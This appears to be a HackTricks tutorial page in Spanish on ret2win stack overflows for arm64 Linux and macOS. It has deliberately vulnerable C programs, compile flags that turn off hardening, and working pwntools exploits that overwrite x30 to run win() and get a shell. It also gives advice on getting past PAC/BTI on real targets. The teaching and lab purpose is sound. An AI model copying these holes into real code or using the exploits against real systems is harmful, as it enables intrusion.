Ret2win - arm64

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Encuentra una introducción a arm64 en:

Introduction to ARM64v8

Código

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compilar sin pie y canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • La bandera adicional -mbranch-protection=none desactiva AArch64 Branch Protection (PAC/BTI). Si tu toolchain por defecto activa PAC o BTI, esto mantiene el laboratorio reproducible. Para comprobar si un binario compilado usa PAC/BTI puedes:
  • Busca propiedades GNU de AArch64:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Inspecciona prologues/epilogues en busca de paciasp/autiasp (PAC) o de landing pads bti c (BTI):
  • objdump -d ret2win | head -n 40

AArch64 calling convention quick facts

  • El link register es x30 (es decir, lr), y las funciones típicamente guardan x29/x30 con stp x29, x30, [sp, #-16]! y las restauran con ldp x29, x30, [sp], #16; ret.
  • Esto significa que la dirección de retorno guardada vive en sp+8 respecto a la base de frame. Con un char buffer[64] colocado debajo, la distancia habitual para sobrescribir el x30 guardado es 64 (buffer) + 8 (x29 guardado) = 72 bytes — exactamente lo que veremos más abajo.
  • El stack pointer debe permanecer alineado a 16 bytes en los límites de función. Si construyes ROP chains más adelante para escenarios más complejos, mantiene la alineación del SP o podrías crashear en los epílogos de función.

Finding the offset

Pattern option

Este ejemplo fue creado usando GEF:

Inicia gdb con gef, crea un pattern y úsalo:

gdb -q ./ret2win
pattern create 200
run

arm64 intentará retornar a la dirección en el registro x30 (que fue comprometido), podemos usar eso para encontrar el offset del patrón:

pattern search $x30

El offset es 72 (9x48).

Opción de Stack offset

Comienza por obtener la dirección de la stack donde se almacena el pc register:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Ahora establece un breakpoint después de la read(), continúa hasta que la read() se ejecute y establece un pattern como 13371337:

b *vulnerable_function+28
c

Encuentra dónde se almacena este patrón en memoria:

Luego: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

Obtén la dirección de la función win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

En realidad esto va a ser más bien un off-by-2 en el PC almacenado en la stack. En lugar de sobrescribir toda la dirección de retorno vamos a sobrescribir solo los últimos 2 bytes con 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Puedes encontrar otro ejemplo de off-by-one en ARM64 en https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, que es un off-by-one real en una vulnerabilidad ficticia.

With PIE

Tip

Compila el binary sin el argumento -no-pie

Off-by-2

Sin un leak no conocemos la dirección exacta de la win function, pero podemos conocer el offset de la función respecto al binary y, sabiendo que la return address que estamos sobrescribiendo ya apunta a una dirección cercana, es posible obtener el offset hacia la win function (0x7d4) en este caso y simplemente usar ese offset:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Código
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

Compilar sin canary (en macOS no puedes deshabilitar PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Ejecutar sin ASLR (aunque como tenemos un address leak, no lo necesitamos):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

No es posible desactivar NX en macOS porque en arm64 este modo está implementado a nivel de hardware, por lo que no puedes desactivarlo, así que no encontrarás ejemplos con shellcode en stack en macOS.

Encontrar el offset

  • Generar un patrón:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Ejecuta el programa e ingresa el patrón para causar un crash:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • Comprueba el registro x30 (la dirección de retorno) para encontrar el offset:
(lldb) register read x30
  • Usa cyclic -l <value> para encontrar el offset exacto:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Así es como encontré el offset 72; colocando en ese offset la dirección de la función win() puedes ejecutar esa función y obtener una shell (ejecutándose sin ASLR).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - 2.º ejemplo

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

Compilar sin canary (en macOS no se puede desactivar PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Encontrar el offset

  • Genera un patrón en el archivo /tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Ejecuta el programa para provocar un fallo:
lldb ./bof_macos
(lldb) run
  • Comprueba el registro x30 (la dirección de retorno) para encontrar el offset:
(lldb) register read x30
  • Usa cyclic -l <value> para encontrar el offset exacto:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Así encontré el offset 72; colocando en ese offset la dirección de la función win() puedes ejecutar esa función y obtener una shell (ejecución sin ASLR).

Calcular la dirección de win()

  • El binario es PIE; usando el leak de la función leak_anchor() y conociendo el offset de la función win() respecto a leak_anchor() podemos calcular la dirección de la función win().
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • El offset es 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Notas sobre el hardening moderno de AArch64 (PAC/BTI) y ret2win

  • Si el binario está compilado con AArch64 Branch Protection, puede que veas paciasp/autiasp o bti c emitidos en prólogos/epílogos de funciones. En ese caso:
  • Volver a una dirección que no sea un BTI landing pad válido puede generar un SIGILL. Prefiere apuntar a la entrada exacta de la función que contiene bti c.
  • Si PAC está habilitado para retornos, las sobreescrituras ingenuas de la dirección de retorno pueden fallar porque el epílogo autentica x30. Para escenarios de aprendizaje, recompila con -mbranch-protection=none (mostrado arriba). Al atacar objetivos reales, prefiere secuestros que no usen retornos (p. ej., sobreescrituras de punteros a función) o construye ROP que nunca ejecute un par autiasp/ret que autentique tu LR falsificado.
  • Para comprobar las características rápidamente:
  • readelf --notes -W ./ret2win and look for AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC notes.
  • objdump -d ./ret2win | head -n 40 and look for bti c, paciasp, autiasp.

Ejecutando en hosts no ARM64 (qemu-user quick tip)

Si estás en x86_64 pero quieres practicar AArch64:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Páginas relacionadas de HackTricks

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Referencias

  • Habilitando PAC y BTI en AArch64 para Linux (Arm Community, nov. 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Estándar de llamadas a procedimientos para la arquitectura Arm de 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks